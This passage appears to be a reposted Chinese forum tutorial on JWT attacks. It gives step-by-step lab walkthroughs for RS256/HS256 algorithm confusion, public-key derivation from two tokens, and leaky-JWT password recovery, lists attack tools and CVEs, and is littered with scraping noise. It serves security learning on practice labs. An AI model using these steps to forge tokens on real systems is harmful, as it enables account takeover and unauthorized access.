9 [0 r4 J2 y' `& n4 G
在这种情况下如果服务器接收到使用对称算法(例如:HS256)签名的令牌,库通用verify()方法会将公钥视为HMAC密钥,这意味着攻击者可以使用HS256和公钥对令牌进行签名,而服务器将使用相同的公钥来验证签名(备注:用于签署令牌的公钥必须与存储在服务器上的公钥完全相同,这包括使用相同的格式(如X.509 PEM)并保留任何非打印字符,例如:换行符,在实践中您可能需要尝试不同的格式才能使这种攻击奏效)
攻击流程简易视图如下:
1 g$ i# }9 v. H8 `2 k/ o
攻击演示
) T3 S% z* X; ]- {: ?7 l3 I靶场地址:https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion5 n9 x1 o z G5 E/ ?% h: u: d7 j
. U# X0 @% Y) p4 K! T. F; `
# _) T; a$ \/ N% |# F# B: s Step 1:点击"Access the lab"访问靶场# X- s; `; q! j0 k
0 g3 Z# e4 z- o7 w8 z- z5 v2 o. t; I8 t% I) u
2 |/ I- I) z( k' ?+ q9 @: r% l! W+ j) u$ o/ I1 r: a5 r/ B Step 2:使用账户密码登录
: f3 B, C2 n5 S, x2 v6 I9 k
: N" p0 l7 q! {& S7 r% p/ K+ Z$ _" K, A Step 3:登录之后进入到用户邮箱更新操作界面
6 x+ @( N# P" R1 U9 I6 @2 K' p8 e( B0 a - J* E- Q( ^" G8 B; w& @
Step 4:服务器有时通过映射到/jwks.json或/.well-known/jwks.json的端点将它们的公钥公开为JSON Web Key(JWK)对象,比如大家熟知的/jwks.json,这些可能被存储在一个称为密钥的jwk数组中,这就是众所周知的JWK集合,即使密钥没有公开,您也可以从一对现有的jwt中提取它
8 I+ c8 y% T' T+ Z+ q; L0 l
{
"keys": [
{
"kty": "RSA",
9 R, P' m2 {* b# B. z
"e": "AQAB",
"kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
) A% G4 J0 i9 s0 h6 P$ a
"n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
},
; w5 \0 L" B3 w0 ?7 Z+ G) x
{
"kty": "RSA",
"e": "AQAB",
"kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
" S* r: x) V/ q+ K1 Q
"n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
- J1 v1 @, q: ]) b" }
}
- D4 L7 P& I* c& _! f
]
}$ o5 ?+ X# e8 f3 c& F* i0 `" x
2 n: g3 q+ k. M5 F0 x
于是乎我们可以直接访问/jwks.json接口获取到服务器的公钥信息,在此处我们将JWK复制下来,作为我们第二部的RSA Key
2 k3 b$ W4 y, Q J# O
https://0aad003404004c0b817dcff9 ... ademy.net/jwks.json4 n d! A! z" v1 f, j! ]( _6 g$ w
J4 ]; x* a7 T* X& y4 z8 }
{
"keys": [
4 _4 Z/ e3 T0 B2 n( _
{
"kty": "RSA",
3 y# F/ X! S4 B, y: q0 W1 W) w
"e": "AQAB",
' `0 B) b, [; V3 L0 R& M, I6 r
"use": "sig",
"kid": "63624c36-bfd8-4146-888e-6d032ad4fe18",
"alg": "RS256",
; h6 @3 t' I5 Z3 D& v: Y* B
"n": "zsiIsVqAKSpOnOxMKrI0hT3p8m_NK3VoejFnt4Hx2CFzvJsZ4_9mmoIVwi_nXYr7NtNV7stOSS4MGzYdJ57t4v83B9h7uI1fdKSp-L-cisg31S0Wm5B_LDnvuABFMcShJ-DKTgEYfLHaG31JudlyJdnfgNIIa0XL-wbGh7Xshf8RtzR8FC2DfApX_-KXYNnHxnTKTPXl5unBgCxyny2n2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY-E2FXIoPIt8m_VSXlsKyZpjpfXTJJZo_IqazAl1XBW6bjwWjxwee0Xbyt7M1_1dTKjaAw"
}
; i- }8 g: c1 N/ N9 G
]
% M5 Z- A( h) }' a/ ?
}- k& z* R# j# Y' L
; w5 }, s1 N/ R" g1 `/ }, e % N" L# B, L @5 r2 l6 w1 i
7 t. ?* Q/ |' w: U
Step 5:在Burpsuite的JWT Editor Keys中点击"New RSA Key",用之前泄露的JWK而生成一个新的RSA Key9 ^+ t: H6 k! b E# w2 n
1 g. U" ^ R, Y' @& g( m( q* O
{
4 c6 Y+ c) H4 N* l- y' @) j0 v
"kty": "RSA",
, o( S, m6 p- g5 L8 }1 Z
"e": "AQAB",
, C' ^5 f3 D- H: n
"use": "sig",
"kid": "63624c36-bfd8-4146-888e-6d032ad4fe18",
"alg": "RS256",
/ ?+ r, m6 T- ^2 ]& N& J- ]6 x# \. Y! Y1 `. `
"n": "zsiIsVqAKSpOnOxMKrI0hT3p8m_NK3VoejFnt4Hx2CFzvJsZ4_9mmoIVwi_nXYr7NtNV7stOSS4MGzYdJ57t4v83B9h7uI1fdKSp-L-cisg31S0Wm5B_LDnvuABFMcShJ-DKTgEYfLHaG31JudlyJdnfgNIIa0XL-wbGh7Xshf8RtzR8FC2DfApX_-KXYNnHxnTKTPXl5unBgCxyny2n2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY-E2FXIoPIt8m_VSXlsKyZpjpfXTJJZo_IqazAl1XBW6bjwWjxwee0Xbyt7M1_1dTKjaAw"
) Z# M$ O( v" h% ^" m
}9 P" o0 T3 R( @$ @/ ?* L4 j: i
2 x' F6 |# n `; L8 A2 \/ z2 n! T5 l $ C. F7 K' `+ Z- c8 x, W/ Q) |
6 Z. e# s8 i% N3 f. UStep 6:选中"Copy Public Key as PEM",同时将其进行base64编码操作,保存一下得到的字符串(备注:上下的一串-----END PUBLIC KEY-----不要删掉)
, d6 U+ F8 z( @. u
-----BEGIN PUBLIC KEY-----
, F( y5 b0 d# {4 `% s
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzsiIsVqAKSpOnOxMKrI0
hT3p8m/NK3VoejFnt4Hx2CFzvJsZ4/9mmoIVwi/nXYr7NtNV7stOSS4MGzYdJ57t
4v83B9h7uI1fdKSp+L+cisg31S0Wm5B/LDnvuABFMcShJ+DKTgEYfLHaG31Judly
JdnfgNIIa0XL+wbGh7Xshf8RtzR8FC2DfApX/+KXYNnHxnTKTPXl5unBgCxyny2n
- Y0 A( }2 ?7 |4 L0 X7 y
2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY+E2
# q1 E, j) m$ A: p/ j# m6 d! Q
FXIoPIt8m/VSXlsKyZpjpfXTJJZo/IqazAl1XBW6bjwWjxwee0Xbyt7M1/1dTKja
' [* [$ n; z! h; x8 H
AwIDAQAB
-----END PUBLIC KEY-----5 F8 R9 a% n6 {
: B; N$ D8 z7 |3 R$ _ " t: x0 J7 y" }1 K/ K
/ p% Z, \( A, e ~* T, T( U" W$ f0 t2 \ base64后结果:
# y; x& y% M& Q4 M5 L2 Z- C+ y% J0 s& L4 X LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6c2lJc1ZxQUtTcE9uT3hNS3JJMApoVDNwOG0vTkszVm9lakZudDRIeDJDRnp2SnNaNC85bW1vSVZ3aS9uWFlyN050TlY3c3RPU1M0TUd6WWRKNTd0CjR2ODNCOWg3dUkxZmRLU3ArTCtjaXNnMzFTMFdtNUIvTERudnVBQkZNY1NoSitES1RnRVlmTEhhRzMxSnVkbHkKSmRuZmdOSUlhMFhMK3diR2g3WHNoZjhSdHpSOEZDMkRmQXBYLytLWFlObkh4blRLVFBYbDV1bkJnQ3h5bnkybgoyQ3dvQ0lpWWV0N3M3WDFjM3Fod2t0V2s2eEpUbXZrcmQ4NUtCbERTeUVqQmhFUFBYcmJWZnFvOHNOeGtZK0UyCkZYSW9QSXQ4bS9WU1hsc0t5WnBqcGZYVEpKWm8vSXFhekFsMVhCVzZiandXanh3ZWUwWGJ5dDdNMS8xZFRLamEKQXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==% _5 R& h: g0 o) p" m2 S: |
9 m9 f; u# {1 \ y
4 y4 E7 F& a# n2 f2 ^Step 7:在JWT Editor Keys处,生成新的对称加密Key,用之前保存的base64编码去替换k的值. V/ C+ c; \* T% T
* W9 O2 W% G& Z
{
"kty": "oct",
"kid": "63b7b785-4d35-4cb7-bbc6-9d9e17dcf5fe",
5 L* w( N9 E" O
"k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6c2lJc1ZxQUtTcE9uT3hNS3JJMApoVDNwOG0vTkszVm9lakZudDRIeDJDRnp2SnNaNC85bW1vSVZ3aS9uWFlyN050TlY3c3RPU1M0TUd6WWRKNTd0CjR2ODNCOWg3dUkxZmRLU3ArTCtjaXNnMzFTMFdtNUIvTERudnVBQkZNY1NoSitES1RnRVlmTEhhRzMxSnVkbHkKSmRuZmdOSUlhMFhMK3diR2g3WHNoZjhSdHpSOEZDMkRmQXBYLytLWFlObkh4blRLVFBYbDV1bkJnQ3h5bnkybgoyQ3dvQ0lpWWV0N3M3WDFjM3Fod2t0V2s2eEpUbXZrcmQ4NUtCbERTeUVqQmhFUFBYcmJWZnFvOHNOeGtZK0UyCkZYSW9QSXQ4bS9WU1hsc0t5WnBqcGZYVEpKWm8vSXFhekFsMVhCVzZiandXanh3ZWUwWGJ5dDdNMS8xZFRLamEKQXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
( E+ L* a: z# n' l
}# j4 C) I" \9 Q1 y
' n! ~: h/ G! B3 \& X! c0 P9 L M J$ ^) q) W! T. q( j
4 r, R9 Q; X, h9 Z& Q- ^) }/ e# {/ i$ q1 T c% t" a Step 8:捕获请求数据报并将其发送到repeat模块* Y8 A/ S$ _' z7 @5 o0 @
; r7 i/ n5 w1 b- j- Y 5 [/ `, N$ z. Q# ?1 e6 ]
此时直接请求/admin是无法请求到的
9 O+ _2 n2 B8 _
Step 9:随后修改alg为HS256,修改sub为administrator并进行Sign操作- i$ ]: _% y) t; j: A
/ E" [4 O' v4 E5 M S% v. C9 D
/ m, ^ ?# s( H& p3 ~; c# d( E Step 10:重新发送数据包可以看到回显成功
% B9 h7 A* n0 v3 X9 n$ I2 ?/ ?1 k
6 m# f3 ^* [ c, y Step 11:请求敏感连接删除用户完成解题
5 E9 Q- x [3 b( O
- H3 u$ Q, h/ s% e( _
6 m6 T5 E" O2 {; Q9 L: \+ U) Q' f5 B- [+ Z 令牌派生公钥+ v8 }- b f, @, O5 h% \
" D4 Y% h* E+ c, R8 O( q K1 P, ]( ^+ Z% B# L 基本介绍 B) U$ ]0 Y+ `8 V# `; i3 F) a/ s
: i3 u+ \, s L8 ?$ q& |& ?* f
在公钥不可用的情况下您仍然可以通过使用jwt _ forgery.py之类的工具从一对现有的JWT中获取密钥来测试算法混淆,您可以在rsa_sign2n GitHub存储库中找到几个有用的脚本
https://github.com/silentsignal/rsa_sign2n
- ?! K* Z9 t+ C3 ^/ K* w, }) |
$ @& ~: s, a# y8 L" g3 L 简易示例; ]4 `; o+ z$ ` K% i+ u
7 N% ]% U P1 D: o5 u S! D: d/ Q9 ?
靶场地址:
https://portswigger.net/web-secu ... with-no-exposed-key
' w9 q/ \- g/ D/ p Step 1:安装常规操作登录登出,再登录,获取两个JWT. m9 G { K& H& Z+ I+ D
$ F/ b" }' l: R6 g
随后将其放到Port提供的docker工具里面运行,运行的命令如下' d# d/ D$ ~8 y8 O) c7 F4 G
$ `0 {) e4 r' l- S0 ^1 a, g. A: k+ H) q7 {5 n docker run --rm -it portswigger/sig2n <token1> <token2>
0 _+ e, n1 J% K: _; r! g
jwt _ forgery.py脚本会输出一系列token的存在情况值9 W9 X0 y1 W0 V! [0 k3 y
, W" v9 ]' r2 Q% z: I- ]4 O: z1 s& |% d- | * S( a: w, e ^& O# T
. c( B# T0 @& C4 ?$ B: O* G2 e2 e Step 2:这里我们尝试每一个Tempered JWT,Port这里给了提示说是X.509 形式的,所以我们只需要将X.509形式的JWT进行验证即可,当Response回应200时代表token是有效的,若为302则代表了重定向,下图是一个成功的案例
5 l2 h0 r9 |3 F* h, w, d , C. r$ U/ Q! E! L( C; g
. r( j& ], O1 N; Q* }- @( x) D, R2 `8 m2 ^9 g2 b9 @# z Step 3:将JWT的Base64编码拿过来先放到记事本里面暂存,在Burpsuite的JWT Editor Keys点击New Symmetric Key,将上面的Base64编码拿过来替换此对称密钥的k值,生成对称密钥之后进行和之前攻击一致的Sign操作* L1 p. I3 |+ O% r; g
, ]. f3 O: O9 o( C( K
: R6 x5 r+ E# B# k# x; v. H敏感信息泄露
/ p9 j9 I" y. Q( j6 W- F基本介绍
- F( ^. Y G# W3 ^1 |5 E2 {+ x JWT敏感信息泄露是指攻击者通过某种方式获取了JWT中包含的敏感信息,例如:用户的身份、权限或其他敏感数据,这种攻击可能会导致恶意用户冒充合法用户执行未经授权的操作或者访问敏感信息,常见的JWT敏感信息泄露方式包括:' M% c# Q4 ?) q$ i: t4 `
) I: C3 M6 j; h/ m( _# m4 {8 {. V: Q4 K8 ` 简易示例, c6 O6 f/ E1 F: H, O9 N% z
, a7 f2 f( K5 f4 E H Z4 M0 T' a$ T: j% ~) ? n7 {! k% o 靶场地址:https://authlab.digi.ninja/Leaky_JWT
+ v) _8 h( A( H靶场JWT信息如上所示,而在实战中我们可以去抓包,如果抓到的数据包中有类似这样的JWT认证那我们就可以直接拿去解密了,我们拿到的数据是这样的:
; G, d, p7 r! r, d# G6 D X eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIyYWM5Y2I3ZGMwMmIzYzAwODNlYjcwODk4ZTU0OWI2MyIsInVzZXJuYW1lIjoiam9lIn0.6j3NrK-0C7K8gmaWeB9CCyZuQKfvVEAl4KhitRN2p5k
9 s/ k+ f! u( H
上面是一个标准的JWT认证的格式,其包含Header、Payload、Signature三个部分,每个部分之间又以"."号分割,他这里的JWT认证是经过base64加密的,所以我们这里先要拿到base64解密网站去解密一下
https://base64.us/
1 _% { j$ S7 |: T
% Y3 C; h6 E7 Z1 ~在这里我们可以看到payload部分的数据解密出来后包含password字段信息,后面解出来的是一串MD5数据,之后我们将其拿到MD5在线解密网站进行解密操作:
l! B; X% _/ t! G; D+ \: b3 h# s, z, h; K% n 1 p$ S) \; _7 S8 v
( K2 Q5 k3 V: Z t9 ?/ }2 v随后得到密码Password1并使用其作为密码,使用joe作为用户名进行登录操作:: P) @& {. ?6 U% n0 A5 W6 b
8 X) @0 R0 }0 n% j5 b% a) ~% p
0 W* q# @8 W( o. k& h& k) B( u7 ~ 随后成功登录:: x0 s; l' j" h, r& v
; r" R- r; n1 L9 I; E( N- A+ ^; F) j5 S; f8 _+ y0 Y! s; g7 K) P & k% E' t; I- L6 Q. c
2 \" ]2 m* s' {3 E/ k1 X: \密钥硬编码类
% }, |% i2 J6 G# Q- f L, }, W& N$ G2 y; b+ D/ G 基本介绍, e, k6 ~9 r+ U/ i* r
1 x1 m) k0 b8 W! A' ?3 z9 d; w& PJWT中的密钥是用于对令牌进行签名或加密的关键信息,在实现JWT时密钥通常存储在应用程序代码中即所谓的"硬编码",这种做法可能会导致以下安全问题:7 \7 d9 y% u2 q m( |
漏洞案例
JWT密钥硬编码:) q. J. u# }+ D, V' g3 [
5 K9 ^/ r) x: R( A2 N% ^6 W9 N
0 h. v9 J: V3 Q' k- k会话续期0 V& E7 n( O* P- h
续期机制' Z6 `& ~/ L8 Z- U0 z: a( C/ i' v; h
& V# K/ S0 a2 \9 T8 QJWT(JSON Web Token)的续期机制是指在JWT过期之后通过一定的方式来更新JWT令牌,使其可以继续使用以减少用户需要频繁重新登录的情况,常见的JWT续期机制包括:- c- y; k7 s# ^
续期问题0 V: L2 U# o# e3 `8 t/ _7 {
* s5 u# {: Q1 X' a3 d6 b x4 Z无限使用
! j* Z6 g6 w7 @$ W0 D# \6 b. o4 i1 n; p) K! D5 [ 用户登录成功获取到一个JWT Token,JWT Token由包含算法信息的header和包含用户非敏感信息的body以及对header和body数据签名后的sing值拼接base64后生成,body中包含用户token失效时间戳exp(默认1小时)、用户id标识u; q0 F2 p* {# L7 R
JWT Token有效期为1小时: `9 g/ c/ T7 W
+ m- S0 g" t0 Z$ {( y/ r9 s0 d7 ?: u' C" a
& e0 f0 A& Z2 f" A0 ~5 K9 D0 \ 4 T, O0 J& i: J/ J- x0 O4 D8 ?
) K3 ]% F1 f) m( c4 i5 b) H \5 ?6 X& a) M) _
但是在过期后发现使用之前过期的JWT Token可以继续进行会话操作! f" p3 b' j3 q; ~3 b
: }6 q* O2 A6 }) w5 E! n, C( b6 V5 y3 x% [/ c8 C V% l" o/ z* ~3 S
! ?( w% C( T) C8 ?" k Token刷新缺陷
) p- j2 o0 \' K* d* W" B8 ?1 e6 h5 C1 E# ~ JWT Token在续期设计时由于代码编写错误将新老token更新逻辑设计错误,使得新Token和老Token一致,导致JWT 续期失败
! f( t8 C& a+ a: E测试效果如下:
, ?0 R. u( t, j" D8 C# s; X, |8 V) w% b/ a- ~; ^
: K# x4 P% e4 h& T: O N个新Token生成/ J% e+ [7 T' v/ {' ~, y
6 C* q2 b3 G, Y x: F2 i; }: Q/ d 功能测试时发现JWT Token首次生成时默认失效时120分钟,续期业务逻辑中仅在JWT Token的后1/3时间,也就是80-120分钟时进行续期操作,在此期间用户的Token会进行刷新操作,使用新的Token请求到服务器段,服务器端会返回一个新的JWT Token到前端,供前端使用,但是在续期期间旧的Token可以无限制生成多个有效的JWT Token,存在一定程度上的被利用风险8 X6 Q6 M5 l6 ?$ T Y
4 l3 l- B. B% m6 ^0 r) O* \! g2 Q
* u; i& j7 t; y Y
# c" s! ?$ {* S ~2 O9 W$ \8 M工具集合7 p3 }) T( k% B* \/ V' k
0 V }1 b4 z- M* V* b! B1 u' {/ t+ c4 _3 V0 J/ a2 C# x jwt_tool* W# `9 b3 a* m! k7 ]7 {
项目地址
https://github.com/ticarpi/jwt_tool
2 U7 o0 ]% ~3 Y2 A
) {) a6 e9 d6 i/ P" p% V+ _) F7 ` y 主要功能3 }$ R9 Q+ H e& q0 A
1、检查令牌的有效性
8 S- W+ u2 l8 B" F- q9 g9 c9 h( Y
2、测试已知漏洞:
CVE-2015-2951:alg=none签名绕过漏洞
CVE-2016-10555:RS / HS256公钥不匹配漏洞
CVE-2018-0114:Key injection漏洞
. m5 F0 Z- y' G2 F& Y) n
CVE-2019-20933 / CVE-2020-28637:Blank password漏洞
CVE-2020-28042:Null signature漏洞
3、扫描配置错误或已知漏洞
; Q+ ?" h- o# U; F. A7 X
4、Fuzz声明值以引发意外行为
5、测试secret/key file/public key/ JWKS key的有效性
6、通过高速字典攻击识别低强度key
' f q1 T6 B, u! W
7、时间戳篡改
8、RSA和ECDSA密钥生成和重建(来自JWKS文件)
9、伪造新的令牌头和有效载荷内容,并使用密钥或通过其他攻击方法创建新的签名0 v& d9 y1 E+ s4 L7 a% P- q$ X
3 H) B' G9 l! Y' a 使用说明
https://github.com/ticarpi/jwt_tool/wiki/Using-jwt_tool
. [& N5 Y" g7 H/ i- N # Y. a- \7 p$ Z) N
: k7 F! P1 m! k- ?' N8 l5 ?+ p( l& a* j6 D/ Y; i MyJWT
, Z6 a6 O1 h9 d0 I& H y) F. l# F$ i/ ?7 J' k 项目地址
https://github.com/tyki6/MyJWT/
, ]" \) W7 q4 v : X, y# h( `# W! h5 G5 x% X
8 i7 M6 c2 O2 F0 {# w7 z" Y& O% t( S9 @
功能说明
. `, e t2 h0 D( Ip! m1 C3 N( w( L& [+ C 辅助脚本
3 v: r' v6 J( Y7 O( Y6 u8 v脚本地址. F4 U% d4 G$ o
https://gist.github.com/imparabl3/efcf4a991244b9f8f99ac39a7c8cfe6f
6 k5 h) o' x0 a7 l1 y9 K3 B7 X; C6 D7 f2 Q8 i% d* `4 q
) U; |+ D6 W* h; f) p脚本功能) ~* `# r1 n0 F4 @+ b' `
) O, q0 c0 y- A" t; ]2 L' O' z g. v+ A* Q8 P3 y$ G% S, y 用于利用CRLF漏洞的脚本6 u, T% T" W+ C% f+ T; V
参考链接
& h! N* J0 w. P6 o$ h- {" `/ V! W
https://1024tools.com/hmac
https://github.com/ticarpi/jwt_tool
https://www.anquanke.com/post/id/236830
0 V4 d9 Y! O: P3 T: W2 G7 G6 t' t
https://www.freebuf.com/articles/web/337347.html
https://digi.ninja/projects/authlab.php#landleakyjwt
https://attackdefense.com/challengedetails?cid=1424
https://github.com/wallarm/jwt-s ... er/jwt.secrets.list
https://portswigger.net/web-secu ... nverified-signature
/ ^" i! S/ C+ R5 U [9 o! T6 R
) t' \& h3 u+ f6 Y8 T" s原文地址:https://xz.aliyun.com/t/12906+ |8 Y0 _! p; q9 M4 H
, j- g. L1 o5 o- O% j0 s. x7 S) S# v5 J) o% h7 [2 J& a 声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
8 M1 @, L3 c7 @* O1 [8 ^' N& x$ ^3 t0 k6 e v0 A+ E3 h1 [# H- u7 v$ c
; j8 I7 d: _2 m: ]8 N8 v6 J; D/ d0 e6 q Z0 }: x; L: W! _; e& s- l5 c
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |